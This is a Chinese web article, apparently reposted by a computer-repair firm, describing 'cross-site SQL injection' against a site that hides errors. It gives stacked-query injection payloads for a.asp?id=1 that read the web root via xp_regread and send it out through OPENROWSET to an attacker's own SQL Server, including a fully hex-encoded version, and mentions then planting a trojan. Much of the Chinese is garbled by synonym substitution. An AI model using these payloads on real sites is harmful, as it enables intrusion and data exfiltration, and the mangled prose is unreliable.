设为主页 | 加入收藏 | 繁體中文

跨站式SQL注入

  在屏蔽了错误信息的呆板上,得到网站绝对途径。
  前一阶段,在尝试打击一个网站的时间,发明对方的体系曾经屏蔽了错误信息,用的也是普通的帐号连接的数据库,体系也是打了全部的补丁这样要打击注入是比较贫苦的。。因而我自己搞了一种“跨站式SQL注入”。。
  思路如下,既然你不显示错误信息,我能不克不及让你显示到别的地方呢?让SQL把错误写入别的地方。。。
  既然是研究阶段,我们最好不要间接注入网站,而是起首用查询阐发器来阐发这个方法。。
  第一个想法:
  SQL可以连接外部的数据库。。
  于是,起首用查询阐发器,登岸到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL变乱探测器里边创建一个跟踪。
  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。。
  提示必须是sysadmin的身份。。失败。。
  换一个思路:
  只要你SQL敢发命令过来,我不论执行的效果怎么样,只要接获到命令就可以了。。
  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨办事器查询。。这个命令作用是把一个数据库命令发给长途的数据库,取返来效果集。。于是就启动“变乱跟踪”监视发过来的命令。。
  第一次尝试,起首还是执行 create table [dbo].[laokai]([cha8][char](255))--创建一个表。随后是把途径写入数据库,这里我考虑,间接天生一个跨库的脚本算了。好方便执行。。
  DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
  这段代码什么意思哪?就是把网站的途径信息写入数据库。。也不是单纯的写,写得同时结构一个SQL语句,这个语句的执行效果是给laokai这个数据库的cha8字段增加了这样的一行记录。
  SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a
  此中的C:\Inetpub,,1就是注册表记录的根目次,末了要做的是:
  DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
  这样就即是执行了
  SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a
  这一条语句。。。同时你会在变乱探测器那里会显示
  SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'
  此中的C:\Inetpub 就是网站的途径。。调试成功。。
  现在进入实战阶段。。某网站屏蔽了全部出错信息。。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?
  a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--
  返回正常,我们创建了一个叫laokai的表,有个字段叫cha8,然后:
  a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
  出错了。。出错信息被屏蔽了。。怎么办?颠末研究发明是里边的某些字符例如 +号需要转化成16进制。。大概另有别的地方要转化。。怎么办啊?
  于是写了一个ASCII转化16进制的东西,把全部的代码转化一下,然后注入就OK了。。(东西的下载地点 http://www.cha8.com/ascii.rar 贫苦放入光盘,不要让他们下,我的办事器受不了),末了天然是执行上述语句了。。
  a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%5F%66%6E%61%6D%65%3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20
  执行成功。。。
  a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
  网站那里显示还是正常页面。。但是你这边的变乱探测器那里会显示:
  注入成功。。后边知道了绝对途径,如何添加木马的文章就很多了。。这里就不再形貌了。。
  末了说明一下:这只是一个新型的打击思路的解说,让大家通过别的一种方式把数据库里边的数据取出来。。
  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修正成insert把数据参加数据库也应该没有题目。。甚至单独保存 @result 都没题目。。不过这样那里会出错。这边就留下一个exec 'C:\Inetpub,,1'
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: